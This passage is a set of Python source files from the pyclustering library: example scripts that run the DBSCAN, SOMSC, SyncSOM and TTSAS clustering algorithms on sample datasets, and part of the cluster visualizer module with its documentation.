cluster_target() cluster_two_diamonds() cluster_wing_nut() cluster_chainlink() cluster_hepta() cluster_tetra() cluster_atom() cluster_engy_time() cluster_golf_ball() experiment_execution_time(True, False) experiment_execution_time(True, True) ``` #### File: cluster/examples/dbscan_examples.py ```python import random from pyclustering.cluster import cluster_visualizer from pyclustering.cluster.dbscan import dbscan from pyclustering.utils import read_sample from pyclustering.utils import timedcall from pyclustering.samples.definitions import SIMPLE_SAMPLES, FCPS_SAMPLES def template_clustering(radius, neighb, path, invisible_axes = False, ccore = True, show = True): sample = read_sample(path) dbscan_instance = dbscan(sample, radius, neighb, ccore) (ticks, _) = timedcall(dbscan_instance.process) clusters = dbscan_instance.get_clusters() noise = dbscan_instance.get_noise() print([len(cluster) for cluster in clusters]) if show: visualizer = cluster_visualizer() visualizer.append_clusters(clusters, sample) visualizer.append_cluster(noise, sample, marker = 'x') visualizer.show() print("Sample: ", path, "\t\tExecution time: ", ticks, "\n") return sample, clusters, noise def cluster_sample1(): template_clustering(0.4, 2, SIMPLE_SAMPLES.SAMPLE_SIMPLE1) def cluster_sample2(): template_clustering(1, 2, SIMPLE_SAMPLES.SAMPLE_SIMPLE2) def cluster_sample3(): template_clustering(0.7, 3, SIMPLE_SAMPLES.SAMPLE_SIMPLE3) def cluster_sample4(): template_clustering(0.7, 3, SIMPLE_SAMPLES.SAMPLE_SIMPLE4) def cluster_sample5(): template_clustering(0.7, 3, SIMPLE_SAMPLES.SAMPLE_SIMPLE5) def cluster_sample7(): template_clustering(1.0, 3, SIMPLE_SAMPLES.SAMPLE_SIMPLE7) def cluster_sample8(): template_clustering(1.0, 3, SIMPLE_SAMPLES.SAMPLE_SIMPLE8) def cluster_elongate(): template_clustering(0.5, 3, SIMPLE_SAMPLES.SAMPLE_ELONGATE) def cluster_lsun(): template_clustering(0.5, 3, FCPS_SAMPLES.SAMPLE_LSUN) def cluster_target(): template_clustering(0.5, 2, FCPS_SAMPLES.SAMPLE_TARGET) def cluster_two_diamonds(): "It's hard to choose properly parameters, but it's OK" template_clustering(0.15, 7, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS) def cluster_wing_nut(): "It's hard to choose properly parameters, but it's OK" template_clustering(0.25, 2, FCPS_SAMPLES.SAMPLE_WING_NUT) def cluster_chainlink(): template_clustering(0.5, 3, FCPS_SAMPLES.SAMPLE_CHAINLINK) def cluster_hepta(): template_clustering(1, 3, FCPS_SAMPLES.SAMPLE_HEPTA) def cluster_golf_ball(): "Toooooooooooo looooong" template_clustering(0.5, 3, FCPS_SAMPLES.SAMPLE_GOLF_BALL) def cluster_atom(): template_clustering(15, 3, FCPS_SAMPLES.SAMPLE_ATOM) def cluster_tetra(): template_clustering(0.4, 3, FCPS_SAMPLES.SAMPLE_TETRA) def cluster_engy_time(): template_clustering(0.2, 20, FCPS_SAMPLES.SAMPLE_ENGY_TIME) def experiment_execution_time(ccore = False): "Performance measurement" template_clustering(0.5, 3, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, False, ccore) template_clustering(1, 2, SIMPLE_SAMPLES.SAMPLE_SIMPLE2, False, ccore) template_clustering(0.7, 3, SIMPLE_SAMPLES.SAMPLE_SIMPLE3, False, ccore) template_clustering(0.7, 3, SIMPLE_SAMPLES.SAMPLE_SIMPLE4, False, ccore) template_clustering(0.7, 3, SIMPLE_SAMPLES.SAMPLE_SIMPLE5, False, ccore) template_clustering(0.5, 3, SIMPLE_SAMPLES.SAMPLE_ELONGATE, False, ccore) template_clustering(0.5, 3, FCPS_SAMPLES.SAMPLE_LSUN, False, ccore) template_clustering(0.5, 2, FCPS_SAMPLES.SAMPLE_TARGET, False, ccore) template_clustering(0.15, 7, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, ccore) template_clustering(0.25, 2, FCPS_SAMPLES.SAMPLE_WING_NUT, False, ccore) template_clustering(0.5, 3, FCPS_SAMPLES.SAMPLE_CHAINLINK, False, ccore) template_clustering(1, 3, FCPS_SAMPLES.SAMPLE_HEPTA, False, ccore) template_clustering(0.4, 3, FCPS_SAMPLES.SAMPLE_TETRA, False, ccore) template_clustering(15, 3, FCPS_SAMPLES.SAMPLE_ATOM, False, ccore) def display_fcps_clustering_results(): (lsun, lsun_clusters, _) = template_clustering(0.5, 3, FCPS_SAMPLES.SAMPLE_LSUN, False, True, False) (target, target_clusters, _) = template_clustering(0.5, 2, FCPS_SAMPLES.SAMPLE_TARGET, False, True, False) (two_diamonds, two_diamonds_clusters, _) = template_clustering(0.15, 7, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, True, False) (wing_nut, wing_nut_clusters, _) = template_clustering(0.25, 2, FCPS_SAMPLES.SAMPLE_WING_NUT, False, True, False) (chainlink, chainlink_clusters, _) = template_clustering(0.5, 3, FCPS_SAMPLES.SAMPLE_CHAINLINK, False, True, False) (hepta, hepta_clusters, _) = template_clustering(1, 3, FCPS_SAMPLES.SAMPLE_HEPTA, False, True, False) (tetra, tetra_clusters, _) = template_clustering(0.4, 3, FCPS_SAMPLES.SAMPLE_TETRA, False, True, False) (atom, atom_clusters, _) = template_clustering(15, 3, FCPS_SAMPLES.SAMPLE_ATOM, False, True, False) visualizer = cluster_visualizer(8, 4) visualizer.append_clusters(lsun_clusters, lsun, 0) visualizer.append_clusters(target_clusters, target, 1) visualizer.append_clusters(two_diamonds_clusters, two_diamonds, 2) visualizer.append_clusters(wing_nut_clusters, wing_nut, 3) visualizer.append_clusters(chainlink_clusters, chainlink, 4) visualizer.append_clusters(hepta_clusters, hepta, 5) visualizer.append_clusters(tetra_clusters, tetra, 6) visualizer.append_clusters(atom_clusters, atom, 7) visualizer.show() def display_fcps_dependence_clustering_results(): (two_diamonds, two_diamonds_clusters_1, _) = template_clustering(0.15, 4, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, True, False) (two_diamonds, two_diamonds_clusters_2, _) = template_clustering(0.15, 5, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, True, False) (two_diamonds, two_diamonds_clusters_3, _) = template_clustering(0.15, 6, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, True, False) (two_diamonds, two_diamonds_clusters_4, _) = template_clustering(0.15, 7, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, True, False) (two_diamonds, two_diamonds_clusters_5, _) = template_clustering(0.10, 6, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, True, False) (two_diamonds, two_diamonds_clusters_6, _) = template_clustering(0.12, 6, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, True, False) (two_diamonds, two_diamonds_clusters_7, _) = template_clustering(0.15, 6, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, True, False) (two_diamonds, two_diamonds_clusters_8, _) = template_clustering(0.17, 6, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, True, False) visualizer = cluster_visualizer(8, 4) visualizer.append_clusters(two_diamonds_clusters_1, two_diamonds, 0) visualizer.append_clusters(two_diamonds_clusters_2, two_diamonds, 1) visualizer.append_clusters(two_diamonds_clusters_3, two_diamonds, 2) visualizer.append_clusters(two_diamonds_clusters_4, two_diamonds, 3) visualizer.append_clusters(two_diamonds_clusters_5, two_diamonds, 4) visualizer.append_clusters(two_diamonds_clusters_6, two_diamonds, 5) visualizer.append_clusters(two_diamonds_clusters_7, two_diamonds, 6) visualizer.append_clusters(two_diamonds_clusters_8, two_diamonds, 7) visualizer.show() def clustering_random_points(amount, ccore): sample = [ [ random.random(), random.random() ] for _ in range(amount) ] dbscan_instance = dbscan(sample, 0.05, 20, ccore) (ticks, _) = timedcall(dbscan_instance.process) print("Execution time ("+ str(amount) +" 2D-points):", ticks) def performance_measure_random_points(ccore): clustering_random_points(1000, ccore) clustering_random_points(2000, ccore) clustering_random_points(3000, ccore) clustering_random_points(4000, ccore) clustering_random_points(5000, ccore) clustering_random_points(10000, ccore) clustering_random_points(20000, ccore) cluster_sample1() cluster_sample2() cluster_sample3() cluster_sample4() cluster_sample5() cluster_sample7() cluster_sample8() cluster_elongate() cluster_lsun() cluster_target() cluster_two_diamonds() cluster_wing_nut() cluster_chainlink() cluster_hepta() cluster_golf_ball() # it is commented due to long time of processing - it's working absolutely correct! cluster_atom() cluster_tetra() cluster_engy_time() experiment_execution_time(False) # Python code experiment_execution_time(True) # C++ code + Python env. display_fcps_clustering_results() display_fcps_dependence_clustering_results() performance_measure_random_points(False) performance_measure_random_points(True) ``` #### File: cluster/examples/somsc_examples.py ```python from pyclustering.samples.definitions import SIMPLE_SAMPLES, FCPS_SAMPLES; from pyclustering.cluster import cluster_visualizer; from pyclustering.cluster.somsc import somsc; from pyclustering.utils import read_sample; from pyclustering.utils import timedcall; def template_clustering(path, amount_clusters, epouch = 100, ccore = True): sample = read_sample(path); somsc_instance = somsc(sample, amount_clusters, epouch, ccore); (ticks, _) = timedcall(somsc_instance.process); clusters = somsc_instance.get_clusters(); print("Sample: ", path, "\t\tExecution time: ", ticks, "\n"); visualizer = cluster_visualizer(); visualizer.append_clusters(clusters, sample); visualizer.show(); def cluster_sample1(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2); def cluster_sample2(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 3); def cluster_sample3(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 4); def cluster_sample4(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, 5); def cluster_sample5(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 6); def cluster_elongate(): template_clustering(SIMPLE_SAMPLES.SAMPLE_ELONGATE, 2); def cluster_lsun(): template_clustering(FCPS_SAMPLES.SAMPLE_LSUN, 3); def cluster_target(): template_clustering(FCPS_SAMPLES.SAMPLE_TARGET, 6); def cluster_two_diamonds(): template_clustering(FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, 2); def cluster_wing_nut(): template_clustering(FCPS_SAMPLES.SAMPLE_WING_NUT, 2); def cluster_chainlink(): template_clustering(FCPS_SAMPLES.SAMPLE_CHAINLINK, 2); def cluster_hepta(): template_clustering(FCPS_SAMPLES.SAMPLE_HEPTA, 7); def cluster_tetra(): template_clustering(FCPS_SAMPLES.SAMPLE_TETRA, 4); def cluster_engy_time(): template_clustering(FCPS_SAMPLES.SAMPLE_ENGY_TIME, 2); cluster_sample1(); cluster_sample2(); cluster_sample3(); cluster_sample4(); cluster_sample5(); cluster_elongate(); cluster_lsun(); cluster_target(); cluster_two_diamonds(); cluster_wing_nut(); cluster_chainlink(); cluster_hepta(); cluster_tetra(); cluster_engy_time(); ``` #### File: cluster/examples/syncsom_examples.py ```python from random import random from pyclustering.cluster import cluster_visualizer from pyclustering.cluster.syncsom import syncsom from pyclustering.samples.definitions import SIMPLE_SAMPLES from pyclustering.samples.definitions import FCPS_SAMPLES from pyclustering.utils import read_sample, draw_dynamics from pyclustering.utils import timedcall def template_clustering(file, map_size, radius, sync_order = 0.999, show_dyn = False, show_layer1 = False, show_layer2 = False, show_clusters = True): # Read sample sample = read_sample(file) # Create network network = syncsom(sample, map_size[0], map_size[1], radius) # Run processing (ticks, (dyn_time, dyn_phase)) = timedcall(network.process, show_dyn, sync_order) print("Sample: ", file, "\t\tExecution time: ", ticks, "\n") # Show dynamic of the last layer. if show_dyn is True: draw_dynamics(dyn_time, dyn_phase, x_title = "Time", y_title = "Phase", y_lim=[0, 3.14]) if show_clusters is True: clusters = network.get_som_clusters() visualizer = cluster_visualizer() visualizer.append_clusters(clusters, network.som_layer.weights) visualizer.show() # Show network stuff. if show_layer1 is True: network.show_som_layer() if show_layer2 is True: network.show_sync_layer() if show_clusters is True: clusters = network.get_clusters() visualizer = cluster_visualizer() visualizer.append_clusters(clusters, sample) visualizer.show() def cluster_simple1(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [4, 4], 1.0, 0.999, True, True, True, True) def cluster_simple1_as_som(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, [1, 2], 1.0, 0.999, True, True, True, True) def cluster_simple2(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [4, 4], 1.0, 0.999, True, True, True, True) def cluster_simple2_as_som(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, [1, 3], 1.0, 0.999, True, True, True, True) def cluster_simple3(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, [5, 5], 1.0, 0.999, True, True, True, True) def cluster_simple4(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, [5, 5], 1.0, 0.999, True, True, True) def cluster_simple5(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, [5, 5], 1.0, 0.999, True, True, True) def cluster_lsun(): template_clustering(FCPS_SAMPLES.SAMPLE_LSUN, [9, 9], 0.45, 0.999, True, True, True) def cluster_target(): template_clustering(FCPS_SAMPLES.SAMPLE_TARGET, [9, 9], 0.9, 0.999, True, True, True) def cluster_two_diamonds(): template_clustering(FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, [10, 10], 0.15, 0.999, True, True, True) def cluster_wing_nut(): template_clustering(FCPS_SAMPLES.SAMPLE_WING_NUT, [10, 10], 0.25, 0.999, True, True, True) def cluster_chainlink(): template_clustering(FCPS_SAMPLES.SAMPLE_CHAINLINK, [10, 10], 0.5, 0.999, True, True, True) def cluster_hepta(): template_clustering(FCPS_SAMPLES.SAMPLE_HEPTA, [7, 7], 1.0, 0.999, True, True, True) def cluster_tetra(): template_clustering(FCPS_SAMPLES.SAMPLE_TETRA, [7, 7], 0.4, 0.998, True, True, True) def experiment_execution_time(): template_clustering(FCPS_SAMPLES.SAMPLE_LSUN, [4, 4], 0.45, 0.999, False, False, False, False) template_clustering(FCPS_SAMPLES.SAMPLE_TARGET, [4, 4], 0.9, 0.998, False, False, False, False) template_clustering(FCPS_SAMPLES.SAMPLE_WING_NUT, [4, 4], 0.25, 0.999, False, False, False, False) template_clustering(FCPS_SAMPLES.SAMPLE_CHAINLINK, [4, 4], 0.5, 0.998, False, False, False, False) template_clustering(FCPS_SAMPLES.SAMPLE_TETRA, [4, 4], 0.4, 0.998, False, False, False, False) template_clustering(FCPS_SAMPLES.SAMPLE_HEPTA, [6, 6], 1.0, 0.998, False, False, False, False) template_clustering(FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, [4, 4], 0.15, 0.998, False, False, False, False) template_clustering(FCPS_SAMPLES.SAMPLE_ATOM, [4, 4], 15, 0.998, False, False, False, False) def experiment_execution_one_cluster_dependence(layer_first_size, radius, order): print("Experiment: map size =", layer_first_size[0] * layer_first_size[1], "radius =", radius, "order =", order) cluster_sizes = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130, 140, 150] for cluster_size in cluster_sizes: # generate data sets dataset = [] dataset += [ [random(), random()] for _ in range(cluster_size) ] general_value = 0.0 amount_attempt = 5 for _ in range(amount_attempt): network = syncsom(dataset, layer_first_size[0], layer_first_size[1], radius) (ticks, (dyn_time, dyn_phase)) = timedcall(network.process, False, order) general_value += ticks print("Sample: ", cluster_size, "\t\tExecution time: ", general_value / float(amount_attempt)) print("\n") cluster_simple1() cluster_simple1_as_som() cluster_simple2() cluster_simple2_as_som() cluster_simple3() cluster_simple4() cluster_simple5() cluster_lsun() cluster_target() cluster_two_diamonds() cluster_chainlink() cluster_hepta() cluster_tetra() experiment_execution_time() experiment_execution_one_cluster_dependence([5, 5], 0.6, 0.998) experiment_execution_one_cluster_dependence([6, 6], 0.6, 0.998) experiment_execution_one_cluster_dependence([7, 7], 0.6, 0.998) experiment_execution_one_cluster_dependence([8, 8], 0.6, 0.998) experiment_execution_one_cluster_dependence([9, 9], 0.6, 0.998) experiment_execution_one_cluster_dependence([10, 10], 0.6, 0.998) ``` #### File: cluster/examples/ttsas_examples.py ```python from pyclustering.cluster.bsas import bsas_visualizer; from pyclustering.cluster.ttsas import ttsas; from pyclustering.samples.definitions import SIMPLE_SAMPLES, FCPS_SAMPLES; from pyclustering.utils import read_sample; from pyclustering.utils.metric import distance_metric, type_metric; def template_clustering(path, threshold1, threshold2, **kwargs): metric = kwargs.get('metric', distance_metric(type_metric.EUCLIDEAN_SQUARE)); ccore = kwargs.get('ccore', False); draw = kwargs.get('draw', True); sample = read_sample(path); print("Sample: ", path); ttsas_instance = ttsas(sample, threshold1, threshold2, ccore=ccore, metric=metric); ttsas_instance.process(); clusters = ttsas_instance.get_clusters(); representatives = ttsas_instance.get_representatives(); if draw is True: bsas_visualizer.show_clusters(sample, clusters, representatives); def cluster_sample1(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1.0, 2.0); def cluster_sample2(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 1.0, 2.0); def cluster_sample3(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 1.0, 2.0); def cluster_sample4(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, 1.0, 2.0); def cluster_sample5(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 1.0, 2.0); def cluster_sample6(): template_clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE6, 1.0, 2.0); def cluster_elongate(): template_clustering(SIMPLE_SAMPLES.SAMPLE_ELONGATE, 1.0, 2.0); def cluster_two_diamonds(): template_clustering(FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, 1.0, 2.0); cluster_sample1(); cluster_sample2(); cluster_sample3(); cluster_sample4(); cluster_sample5(); cluster_sample6(); cluster_elongate(); cluster_two_diamonds(); ``` #### File: pyclustering/cluster/__init__.py ```python import itertools import math import matplotlib.pyplot as plt import matplotlib.gridspec as gridspec from mpl_toolkits.mplot3d import Axes3D from pyclustering.utils.color import color as color_list class canvas_cluster_descr: """! @brief Description of cluster for representation on canvas. """ def __init__(self, cluster, data, marker, markersize, color): """! @brief Constructor of cluster representation on the canvas. @param[in] cluster (array_like): Single cluster that consists of objects or indexes from data. @param[in] data (array_like): Objects that should be displayed, can be None if clusters consist of objects instead of indexes. @param[in] marker (string): Type of marker that is used for drawing objects. @param[in] markersize (uint): Size of marker that is used for drawing objects. @param[in] color (string): Color of the marker that is used for drawing objects. """ ## Cluster that may consist of objects or indexes of objects from data. self.cluster = cluster ## Data where objects are stored. It can be None if clusters consist of objects instead of indexes. self.data = data ## Marker that is used for drawing objects. self.marker = marker ## Size of marker that is used for drawing objects. self.markersize = markersize ## Color that is used for coloring marker. self.color = color ## Attribures of the clusters - additional collections of data points that are regarded to the cluster. self.attributes = [] class cluster_visualizer_multidim: """! @brief Visualizer for cluster in multi-dimensional data. @details Multi-dimensional cluster visualizer is useful data whose dimension is greater than three, but it is able to visualize data with any dimensions. The multidimensional visualizer helps to overcome 'cluster_visualizer' shortcoming - an ability to display clusters in 1D, 2D or 3D dimensional data space only. Example of clustering results visualization where `Iris` is used: @code from pyclustering.utils import read_sample from pyclustering.samples.definitions import FAMOUS_SAMPLES from pyclustering.cluster import cluster_visualizer_multidim from pyclustering.cluster.center_initializer import kmeans_plusplus_initializer from pyclustering.cluster.xmeans import xmeans # load 4D data sample 'Iris' sample_4d = read_sample(FAMOUS_SAMPLES.SAMPLE_IRIS) # initialize 3 initial centers using K-Means++ algorithm centers = kmeans_plusplus_initializer(sample_4d, 3).initialize() # performs cluster analysis using X-Means xmeans_instance = xmeans(sample_4d, centers) xmeans_instance.process() clusters = xmeans_instance.get_clusters() # visualize obtained clusters in multi-dimensional space visualizer = cluster_visualizer_multidim() visualizer.append_clusters(clusters, sample_4d) visualizer.show(max_row_size=3) @endcode Visualized clustering results of `Iris` data (multi-dimensional data): @image html xmeans_clustering_famous_iris.png "Fig. 1. X-Means clustering results (data 'Iris')." Sometimes no need to display results in all dimensions. Parameter `filter` can be used to display only interesting coordinate pairs. Here is an example of visualization of pair coordinates (x0, x1) and (x0, x2) for previous clustering results: @code visualizer = cluster_visualizer_multidim() visualizer.append_clusters(clusters, sample_4d) visualizer.show(pair_filter=[[0, 1], [0, 2]]) @endcode Visualized results of specified coordinate pairs: @image html xmeans_clustering_famous_iris_filtered.png "Fig. 2. X-Means clustering results (x0, x1) and (x0, x2) (data 'Iris')." The multi-dimensional visualizer can be used to display clusters in 1-, 2- and 3-dimensional data similar to `cluster_visualizer`. `cluster_visualizer_multidim` uses three plots to display 3-dimensional data: `(x0, x1)`, `(x0, x2)` and `(x1, x2)`. There is an example: @code from pyclustering.utils import read_sample from pyclustering.samples.definitions import FCPS_SAMPLES from pyclustering.cluster import cluster_visualizer_multidim from pyclustering.cluster.gmeans import gmeans # load 3-dimensional data sample 'Hepta' sample_3d = read_sample(FCPS_SAMPLES.SAMPLE_HEPTA) # performs cluster analysis using G-Means algorithm gmeans_instance = gmeans(sample_3d).process().get_clusters() # visualize obtained clusters in 3-dimensional space (x0, x1), (x0, x2), (x1, x2): visualizer = cluster_visualizer_multidim() visualizer.append_clusters(clusters, sample_3d) visualizer.show(max_row_size=3) @endcode Visualized clustering results of `Hepta` data (3-dimensional data): @image html gmeans_hepta_multidim_visualizer.png "Fig. 3. G-Means clustering results (3-dimensional data 'Hepta')." Example with 2-dimensional data `Lsun`: @code # load 2-dimensional data sample 'Lsun' sample_2d = read_sample(FCPS_SAMPLES.SAMPLE_LSUN) clusters = gmeans(sample_2d).process().get_clusters() # visualize obtained clusters in 2-dimensional space (x0, x1): visualizer = cluster_visualizer_multidim() visualizer.append_clusters(clusters, sample_2d) visualizer.show() @endcode Visualized clustering results of `Lsun` (2-dimensional data): @image html gmeans_lsun_multidim_visualizer.png "Fig. 4. G-Means clustering results (2-dimensional data 'Lsun')." """ def __init__(self): """! @brief Constructs cluster visualizer for multidimensional data. @details The visualizer is suitable more data whose dimension is bigger than 3. """ self.__clusters = [] self.__figure = None self.__grid_spec = None def __del__(self): """! @brief Close matplotlib figure that was used for visualization. """ if self.__figure is not None: plt.close(self.__figure) def append_cluster(self, cluster, data=None, marker='.', markersize=None, color=None): """! @brief Appends cluster for visualization. @param[in] cluster (array_like): cluster that may consist of indexes of objects from the data or object itself. @param[in] data (array_like): If defines that each element of cluster is considered as a index of object from the data. @param[in] marker (string): Marker that is used for displaying objects from cluster on the canvas. @param[in] markersize (uint): Size of marker. @param[in] color (string): Color of marker. @return Returns index of cluster descriptor on the canvas. """ if len(cluster) == 0: raise ValueError("Empty cluster is provided.") markersize = markersize or 5 if color is None: index_color = len(self.__clusters) % len(color_list.TITLES) color = color_list.TITLES[index_color] cluster_descriptor = canvas_cluster_descr(cluster, data, marker, markersize, color) self.__clusters.append(cluster_descriptor) def append_clusters(self, clusters, data=None, marker='.', markersize=None): """! @brief Appends list of cluster for visualization. @param[in] clusters (array_like): List of clusters where each cluster may consist of indexes of objects from the data or object itself. @param[in] data (array_like): If defines that each element of cluster is considered as a index of object from the data. @param[in] marker (string): Marker that is used for displaying objects from clusters on the canvas. @param[in] markersize (uint): Size of marker. """ for cluster in clusters: self.append_cluster(cluster, data, marker, markersize) def save(self, filename, **kwargs): """! @brief Saves figure to the specified file. @param[in] filename (string): File where the visualized clusters should be stored. @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'visible_axis' 'visible_labels', 'visible_grid', 'row_size', 'show'). <b>Keyword Args:</b><br> - visible_axis (bool): Defines visibility of axes on each canvas, if True - axes are visible. By default axis of each canvas are not displayed. - visible_labels (bool): Defines visibility of labels on each canvas, if True - labels is displayed. By default labels of each canvas are displayed. - visible_grid (bool): Defines visibility of grid on each canvas, if True - grid is displayed. By default grid of each canvas is displayed. - max_row_size (uint): Maximum number of canvases on one row. """ if len(filename) == 0: raise ValueError("Impossible to save visualization to file: empty file path is specified.") self.show(None, visible_axis=kwargs.get('visible_axis', False), visible_labels=kwargs.get('visible_labels', True), visible_grid=kwargs.get('visible_grid', True), max_row_size=kwargs.get('max_row_size', 4)) plt.savefig(filename) def show(self, pair_filter=None, **kwargs): """! @brief Shows clusters (visualize) in multi-dimensional space. @param[in] pair_filter (list): List of coordinate pairs that should be displayed. This argument is used as a filter. @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'visible_axis' 'visible_labels', 'visible_grid', 'row_size', 'show'). <b>Keyword Args:</b><br> - visible_axis (bool): Defines visibility of axes on each canvas, if True - axes are visible. By default axis of each canvas are not displayed. - visible_labels (bool): Defines visibility of labels on each canvas, if True - labels is displayed. By default labels of each canvas are displayed. - visible_grid (bool): Defines visibility of grid on each canvas, if True - grid is displayed. By default grid of each canvas is displayed. - max_row_size (uint): Maximum number of canvases on one row. By default the maximum value is 4. - show (bool): If True - then displays visualized clusters. By default is `True`. """ if not len(self.__clusters) > 0: raise ValueError("There is no non-empty clusters for visualization.") if self.__clusters[0].data is not None: cluster_data = self.__clusters[0].data else: cluster_data = self.__clusters[0].cluster dimension = len(cluster_data[0]) acceptable_pairs = pair_filter or [] pairs = [] amount_axis = 1 axis_storage = [] if dimension > 1: pairs = self.__create_pairs(dimension, acceptable_pairs) amount_axis = len(pairs) self.__figure = plt.figure() self.__grid_spec = self.__create_grid_spec(amount_axis, kwargs.get('max_row_size', 4)) for index in range(amount_axis): ax = self.__create_canvas(dimension, pairs, index, **kwargs) axis_storage.append(ax) for cluster_descr in self.__clusters: self.__draw_canvas_cluster(axis_storage, cluster_descr, pairs) if kwargs.get('show', True): plt.show() def __create_grid_spec(self, amount_axis, max_row_size): """! @brief Create grid specification for figure to place canvases. @param[in] amount_axis (uint): Amount of canvases that should be organized by the created grid specification. @param[in] max_row_size (max_row_size): Maximum number of canvases on one row. @return (gridspec.GridSpec) Grid specification to place canvases on figure. """ row_size = amount_axis if row_size > max_row_size: row_size = max_row_size col_size = math.ceil(amount_axis / row_size) return gridspec.GridSpec(col_size, row_size) def __create_pairs(self, dimension, acceptable_pairs): """! @brief Create coordinate pairs that should be displayed. @param[in] dimension (uint): Data-space dimension. @param[in] acceptable_pairs (list): List of coordinate pairs that should be displayed. @return (list) List of coordinate pairs that should be displayed. """ if len(acceptable_pairs) > 0: return acceptable_pairs return list(itertools.combinations(range(dimension), 2)) def __create_canvas(self, dimension, pairs, position, **kwargs): """! @brief Create new canvas with user defined parameters to display cluster or chunk of cluster on it. @param[in] dimension (uint): Data-space dimension. @param[in] pairs (list): Pair of coordinates that will be displayed on the canvas. If empty than label will not be displayed on the canvas. @param[in] position (uint): Index position of canvas on a grid. @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'visible_axis' 'visible_labels', 'visible_grid'). <b>Keyword Args:</b><br> - visible_axis (bool): Defines visibility of axes on each canvas, if True - axes are visible. By default axis are not displayed. - visible_labels (bool): Defines visibility of labels on each canvas, if True - labels is displayed. By default labels are displayed. - visible_grid (bool): Defines visibility of grid on each canvas, if True - grid is displayed. By default grid is displayed. @return (matplotlib.Axis) Canvas to display cluster of chuck of cluster. """ visible_grid = kwargs.get('visible_grid', True) visible_labels = kwargs.get('visible_labels', True) visible_axis = kwargs.get('visible_axis', False) ax = self.__figure.add_subplot(self.__grid_spec[position]) if dimension > 1: if visible_labels: ax.set_xlabel("x%d" % pairs[position][0]) ax.set_ylabel("x%d" % pairs[position][1]) else: ax.set_ylim(-0.5, 0.5) ax.set_yticklabels([]) if visible_grid: ax.grid(True) if not visible_axis: ax.set_yticklabels([]) ax.set_xticklabels([]) return ax def __draw_canvas_cluster(self, axis_storage, cluster_descr, pairs): """! @brief Draw clusters. @param[in] axis_storage (list): List of matplotlib axis where cluster dimensional chunks are displayed. @param[in] cluster_descr (canvas_cluster_descr): Canvas cluster descriptor that should be displayed. @param[in] pairs (list): List of coordinates that should be displayed. """ for index_axis in range(len(axis_storage)): for item in cluster_descr.cluster: if len(pairs) > 0: self.__draw_cluster_item_multi_dimension(axis_storage[index_axis], pairs[index_axis], item, cluster_descr) else: self.__draw_cluster_item_one_dimension(axis_storage[index_axis], item, cluster_descr) def __draw_cluster_item_multi_dimension(self, ax, pair, item, cluster_descr): """! @brief Draw cluster chunk defined by pair coordinates in data space with dimension greater than 1. @param[in] ax (axis): Matplotlib axis that is used to display chunk of cluster point. @param[in] pair (list): Coordinate of the point that should be displayed. @param[in] item (array_like): Data point or index of data point. @param[in] cluster_descr (canvas_cluster_descr): Cluster description whose point is visualized. """ index_dimension1 = pair[0] index_dimension2 = pair[1] if cluster_descr.data is None: ax.plot(item[index_dimension1], item[index_dimension2], color=cluster_descr.color, marker=cluster_descr.marker, markersize=cluster_descr.markersize) else: ax.plot(cluster_descr.data[item][index_dimension1], cluster_descr.data[item][index_dimension2], color=cluster_descr.color, marker=cluster_descr.marker, markersize=cluster_descr.markersize) def __draw_cluster_item_one_dimension(self, ax, item, cluster_descr): """! @brief Draw cluster point in one dimensional data space.. @param[in] ax (axis): Matplotlib axis that is used to display chunk of cluster point. @param[in] item (array_like): Data point or index of data point. @param[in] cluster_descr (canvas_cluster_descr): Cluster description whose point is visualized. """ if cluster_descr.data is None: ax.plot(item[0], 0.0, color=cluster_descr.color, marker=cluster_descr.marker, markersize=cluster_descr.markersize) else: ax.plot(cluster_descr.data[item][0], 0.0, color=cluster_descr.color, marker=cluster_descr.marker, markersize=cluster_descr.markersize) class cluster_visualizer: """! @brief Common cluster visualizer for 1-, 2- and 3-dimensional data. @details `cluster_visualizer_multidim` visualizer can be used to display clusters in N-dimensional data. The general difference between `cluster_visualizer` and `cluster_visualizer_multidim` is a way of representation of 3-dimensional data. In case of `cluster_visualizer` 3-dimensional data is displayed in 3-dimensional plot with `x0`, `x1` and `x2` axis. In case of `cluster_visualizer_multidim` it displayed on three 2-dimensional plots: `(x0, x1)`, `(x0, x2)` and `(x1, x2)`. There is an example where sample `Atom` is used for clustering and displayed by 